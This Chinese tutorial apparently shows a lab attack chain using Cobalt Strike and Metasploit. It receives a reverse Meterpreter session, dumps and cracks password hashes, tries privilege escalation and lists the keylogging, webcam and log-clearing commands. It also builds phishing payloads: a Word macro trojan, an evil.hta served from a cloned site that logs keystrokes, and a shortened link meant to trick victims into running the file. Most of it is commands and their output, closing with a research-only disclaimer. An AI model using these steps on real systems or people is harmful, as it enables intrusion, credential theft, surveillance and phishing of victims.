三、结合metasploit,反弹shell
在kali中开启使用命令开启metasploit
msfconsole┌──(root㉿oldboy)-[~]
└─# msfconsole
---
msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
---
msf6 exploit(multi/handler) > show options
Module options (exploit/multi/handler):
Name Current Setting Required Description
---- --------------- -------- -----------
Payload options (generic/shell_reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address (an interface may b
e specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Wildcard Target
---
msf6 exploit(multi/handler) > set lhost 10.0.0.200
lhost => 10.0.0.200
---
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_http
payload => windows/meterpreter/reverse_http
---
msf6 exploit(multi/handler) > set lport 7777
lport => 7777
---
在靶机中
使用Cobalt Strike创建一个windows/foreign/reverse_tcp的Listener。其中ip为Metasploit的ip地址(10.0.0.200)，端口为Metasploit所监听的端口(7777)。
开始攻击，建立会话：
msf6 exploit(multi/handler) > run
[*] Started HTTP reverse handler on http://10.0.0.200:7777
[!] http://10.0.0.200:7777 handling request from 10.0.0.101; (UUID: 2sotjla4) Without a database connected that payload UUID tracking will not work!
[*] http://10.0.0.200:7777 handling request from 10.0.0.101; (UUID: 2sotjla4) Staging x86 payload (176220 bytes) ...
[!] http://10.0.0.200:7777 handling request from 10.0.0.101; (UUID: 2sotjla4) Without a database connected that payload UUID tracking will not work!
[*] Meterpreter session 1 opened (10.0.0.200:7777 -> 127.0.0.1) at 2024-05-28 21:41:00 +0800
----
meterpreter > shell
Process 1152 created.
Channel 1 created.
Microsoft Windows [�汾 5.2.3790]
(C) ��Ȩ���� 1985-2003 Microsoft Corp.
C:\Documents and Settings\Administrator\����>ipconfig
ipconfig
Windows IP Configuration
Ethernet adapter ��������:
Connection-specific DNS Suffix . :
IP Address. . . . . . . . . . . . : 10.0.0.101
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 10.0.0.254
C:\Documents and Settings\Administrator\����>
如果有其他的主机上线，在增加会话中选择msf（的端口），该上线主机也能反弹shell
这样我们就可以利用metaspliot中的相关工具，进行进一步渗透。
渗透：
C:\Documents and Settings\Administrator\����>^C
Terminate channel 1? [y/N] y
--------------------------------------------------
meterpreter > background
[*] Backgrounding session 1...
msf6 exploit(multi/handler) > sessions -i
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 meterpreter x86/win OLDBOY-F74D04FE\Admi 10.0.0.200:7777 -> 1
dows nistrator @ OLDBOY-F 27.0.0.1 (10.0.0.101
74D04FE )
msf6 exploit(multi/handler) > search ms17-010
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/windows/smb/ms17_010_eternalblue 2017-03-14 average Yes MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
1 exploit/windows/smb/ms17_010_psexec 2017-03-14 normal Yes MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
2 auxiliary/admin/smb/ms17_010_command 2017-03-14 normal No MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution
3 auxiliary/scanner/smb/smb_ms17_010 normal No MS17-010 SMB RCE Detection
4 exploit/windows/smb/smb_doublepulsar_rce 2017-04-14 great Yes SMB DOUBLEPULSAR Remote Code Execution
Interact with a module by name or index. For example info 4, use 4 or use exploit/windows/smb/smb_doublepulsar_rce
msf6 exploit(multi/handler) > use ...
msf6 exploit(multi/handler) > sessions -i
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 meterpreter x86/win OLDBOY-F74D04FE\Admi 10.0.0.200:7777 -> 1
dows nistrator @ OLDBOY-F 27.0.0.1 (10.0.0.101
74D04FE )
------------
msf6 exploit(multi/handler) > sessions -i 1
[*] Starting interaction with 1...
----------
meterpreter > hashdump
123:1015:ccf9155e3e7db453aad3b435b51404ee:3dbde697d71690a769204beb12283678:::
Administrator:500:44efce164ab921caaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4:::
ASPNET:1006:31ca4e307dc8dd4939d0ac34166cf041:47acc6d9ea07e60931e2a49bb6433aae:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
IUSR_OLDBOY-F74D04FE:1003:bc210210ecc96be6fd0522aa8ea96524:23561981a86db65e75fd296999b95667:::
IWAM_OLDBOY-F74D04FE:1004:cac4a79fa775cb9b8665ee4c08ed3930:8856078abf69a2bb27f287b8afde005b:::
SUPPORT_388945a0:1001:aad3b435b51404eeaad3b435b51404ee:03ebb3c522071ac94b606f483fc10157:::
meterpreter >
如：Administrator:500:44efce164ab921caaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4:::
哈希值：44efce164ab921caaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4:::
解码：123456
哈希值可通过cmd5解码：
帮助：
meterpreter > ?
Core Commands
=============
Command Description
------- -----------
? Help menu
background Backgrounds the current session
bg Alias for background
bgkill Kills a background meterpreter script
bglist Lists running background scripts
bgrun Executes a meterpreter script as a background
thread
channel Displays information or control active channe
ls
close Closes a channel
detach Detach the meterpreter session (for http/http
s)
disable_unicode_encoding Disables encoding of unicode strings
enable_unicode_encoding Enables encoding of unicode strings
exit Terminate the meterpreter session
get_timeouts Get the current session timeout values
guid Get the session GUID
help Help menu
info Displays information about a Post module
irb Open an interactive Ruby shell on the current
session
load Load one or more meterpreter extensions
machine_id Get the MSF ID of the machine attached to the
session
migrate Migrate the server to another process
pivot Manage pivot listeners
pry Open the Pry debugger on the current session
quit Terminate the meterpreter session
read Reads data from a channel
resource Run the commands stored in a file
run Executes a meterpreter script or Post module
secure (Re)Negotiate TLV packet encryption on the se
ssion
sessions Quickly switch to another session
set_timeouts Set the current session timeout values
sleep Force Meterpreter to go quiet, then re-establ
ish session
ssl_verify Modify the SSL certificate verification setti
ng
transport Manage the transport mechanisms
use Deprecated alias for "load"
uuid Get the UUID for the current session
write Writes data to a channel
Stdapi: File system Commands
============================
Command Description
------- -----------
cat Read the contents of a file to the screen
cd Change directory
checksum Retrieve the checksum of a file
cp Copy source to destination
del Delete the specified file
dir List files (alias for ls)
download Download a file or directory
edit Edit a file
getlwd Print local working directory
getwd Print working directory
lcat Read the contents of a local file to the screen
lcd Change local working directory
lls List local files
lpwd Print local working directory
ls List files
mkdir Make directory
mv Move source to destination
pwd Print working directory
rm Delete the specified file
rmdir Remove directory
search Search for files
show_mount List all mount points/logical drives
upload Upload a file or directory
Stdapi: Networking Commands
===========================
Command Description
------- -----------
arp Display the host ARP cache
getproxy Display the current proxy configuration
ifconfig Display interfaces
ipconfig Display interfaces
netstat Display the network connections
portfwd Forward a local port to a remote service
resolve Resolve a set of host names on the target
route View and modify the routing table
Stdapi: System Commands
=======================
Command Description
------- -----------
clearev Clear the event log
drop_token Relinquishes any active impersonation token.
execute Execute a command
getenv Get one or more environment variable values
getpid Get the current process identifier
getprivs Attempt to enable all privileges available to the current
process
getsid Get the SID of the user that the server is running as
getuid Get the user that the server is running as
kill Terminate a process
localtime Displays the target system local date and time
pgrep Filter processes by name
pkill Terminate processes by name
ps List running processes
reboot Reboots the remote computer
reg Modify and interact with the remote registry
rev2self Calls RevertToSelf() on the remote machine
shell Drop into a system command shell
shutdown Shuts down the remote computer
steal_token Attempts to steal an impersonation token from the target
process
suspend Suspends or resumes a list of processes
sysinfo Gets information about the remote system, such as OS
Stdapi: User interface Commands
===============================
Command Description
------- -----------
enumdesktops List all accessible desktops and window stations
getdesktop Get the current meterpreter desktop
idletime Returns the number of seconds the remote user has been i
dle
keyboard_send Send keystrokes
keyevent Send key events
keyscan_dump Dump the keystroke buffer
keyscan_start Start capturing keystrokes
keyscan_stop Stop capturing keystrokes
mouse Send mouse events
screenshare Watch the remote user desktop in real time
screenshot Grab a screenshot of the interactive desktop
setdesktop Change the meterpreters current desktop
uictl Control some of the user interface components
Stdapi: Webcam Commands
=======================
Command Description
------- -----------
record_mic Record audio from the default microphone for X seconds
webcam_chat Start a video chat
webcam_list List webcams
webcam_snap Take a snapshot from the specified webcam
webcam_stream Play a video stream from the specified webcam
Stdapi: Audio Output Commands
=============================
Command Description
------- -----------
play play a waveform audio file (.wav) on the target system
Priv: Elevate Commands
======================
Command Description
------- -----------
getsystem Attempt to elevate your privilege to that of local system
.
Priv: Password database Commands
================================
Command Description
------- -----------
hashdump Dumps the contents of the SAM database
Priv: Timestomp Commands
========================
Command Description
------- -----------
timestomp Manipulate file MACE attributes
上面使用的哈希值： meterpreter > hashdump
cs提权
右击执行--提取--选择攻击方式--
执行成功--自动新建会话提权为SYSTEM：
建议在msf进行提权（使用use exploit/windows/local模块）payload较cs强大
msf提权大致流程 ：
┌──(root㉿oldboy)-[~]
└─# msfconsole
-------
msf6 >use exploit/windows/local
19 exploit/windows/local/mqac_write 2014-07-22 average Yes MQAC.sys Arbitrary Write Privilege Escalation
20 exploit/windows/local/ms11_080_afdjoinleaf 2011-11-30 average No MS11-080 AfdJoinLeaf Privilege Escalation
21 exploit/windows/local/ms13_005_hwnd_broadcast 2012-11-27 excellent No MS13-005 HWND_BROADCAST Low to Medium Integrity Privilege Escalation
----------------
msf6 > use exploit/windows/local/ms11_080_afdjoinleaf
[*] Using configured payload windows/meterpreter/reverse_tcp
msf6 exploit(windows/local/ms11_080_afdjoinleaf) > show options
Module options (exploit/windows/local/ms11_080_afdjoinleaf):
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION 3 yes The session to run this module on
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique (Accepted: '', seh,
thread, process, none)
LHOST 10.0.0.200 yes The listen address (an interface ma
y be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic
msf6 exploit(windows/local/ms11_080_afdjoinleaf) > sessions -i
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 meterpreter x86/win OLDBOY-F74D04FE\Admi 10.0.0.200:7777 -> 1
dows nistrator @ OLDBOY-F 27.0.0.1 (10.0.0.101
74D04FE )
2 meterpreter x86/win OLDBOY-F74D04FE\Admi 10.0.0.200:7777 -> 1
dows nistrator @ OLDBOY-F 27.0.0.1 (10.0.0.101
74D04FE )
3 meterpreter x86/win NT AUTHORITY\SYSTEM 10.0.0.200:4444 -> 1
dows @ OLDBOY-F74D04FE 0.0.0.101:1844 (10.0
.0.101)
msf6 exploit(windows/local/ms11_080_afdjoinleaf) > run
[*] Started reverse TCP handler on 10.0.0.200:4444
[*] Running against Windows Server 2003 SP2
[-] This meterpreter session is already running as SYSTE
[*] Exploit completed, but no session was created.
msf6 exploit(windows/local/ms11_080_afdjoinleaf) >
步骤解读：
- 尝试切换到
exploit/windows/local目录，查看payload模块。- 选择了
exploit/windows/local/ms11_080_afdjoinleaf模块，Metasploit自动设置了payload为windows/meterpreter/reverse_tcp，这是该模块需要的payload类型。- 查看了模块和payload的选项，确认了设置的session为3，监听的IP地址为10.0.0.200，端口为4444。
- 使用
sessions -i命令列出所有活动的Meterpreter会话。可以看到有三个会话，其中第3个会话是SYSTEM权限的。- 尝试运行
exploit/windows/local/ms11_080_afdjoinleaf模块，但收到错误消息[-] This meterpreter session is already running as SYSTEM，这意味着攻击者已经在具有SYSTEM权限的会话（session 3）中，所以尝试通过该漏洞进一步提权是不必要的，因为权限已经是最高的了。- 最后，Metasploit确认了漏洞利用过程完成，但没有创建新的会话，这通常是由于权限已经达到最高，无需再提升。
office宏payload应用
环境：虚拟机windows-xp office2003 cs软件
第一步、生成office宏
第二步，把cs生成的代码放到word宏里面去
原内容删除粘贴cs宏木马--保存--关闭
编辑文件内容后--保存关闭
cs 生成的代码直接放到创建里面去，注意：做试验的时候，宏的位置不要设置所有的活动模板和文档，建议应用在当前文档，不然本机所有word文档运行都会种上你的木马，另外打开word文档有宏提示，一般是word默认禁用所有宏（高版本：文件—选项—信任中心—信任中心设置里面配置；低版本：工具-选项-安全性-宏安全性-选择低）。
打开文件：
成功监听： 
hta网页挂马
HTA是HTML Application的缩写（HTML应用程序），是软件开发的新概念，直接将HTML保存成HTA的格式，就是一个独立的应用软件，与VB、C++等程序语言所设计的软件界面没什么差别。
把生成的evil.hta上传到cs服务器端：
cs客户端--攻击--钓鱼攻击--文件下载：
填写evil.hta文件位置进行上传--URL根目录下evil.hta--主机地址：服务器主机IP--端口自定义--Mime默认：
生成的网站：
http://10.0.0.200:89/evil.hta
查找上传服务器文件位置：
cs服务器端kali2022（IP：10.0.0.200）
┌──(root㉿oldboy)-[~]
└─# cd /root/cobaltstrike4
┌──(root㉿oldboy)-[~/cobaltstrike4]
└─# ls
手册 crackInfo.txt keytool.exe peclone
agscript cs.bat Ladon Scripts
c2lint csnat Ladon911 teamserver
cobaltstrike.auth csnat.rar libicmp64.so teamserver.bat
cobaltstrike.bat cs.sh libicmp.so third-party
CobaltStrikeCN.jar data libtapmanager64.so uploads
cobaltstrike.jar ElevateKit libtapmanager.so
cobaltstrike.store icon.jpg logs
┌──(root㉿oldboy)-[~/cobaltstrike4]
└─# cd /root/cobaltstrike4/uploads
┌──(root㉿oldboy)-[~/cobaltstrike4/uploads]
└─# ls
evil.hta
克隆网站：
（如果之前设置过钓鱼页面，记得一定要删掉，不然会克隆的时候会报错）
生成的网站：
http://10.0.0.200:88/
通过在线平台生成短链接：
1、https://uutool.cn/dwz/
2、https://www.metools.info/master/shorturl180.html
生成的短链接：
https://3mw.cn/11fa2
需受害者手工点击保留下载后点击文件运行：
运行后成功监控：
克隆网站选择了开启键盘记录，视图--web日志查看键盘记录：
声明：
- 此文章只做技术研究，谨遵守国家相关法律法规，请勿用于违法用途，如果您对文章内容有疑问，可以尝试留言私信，如有侵权请联系小编处理。
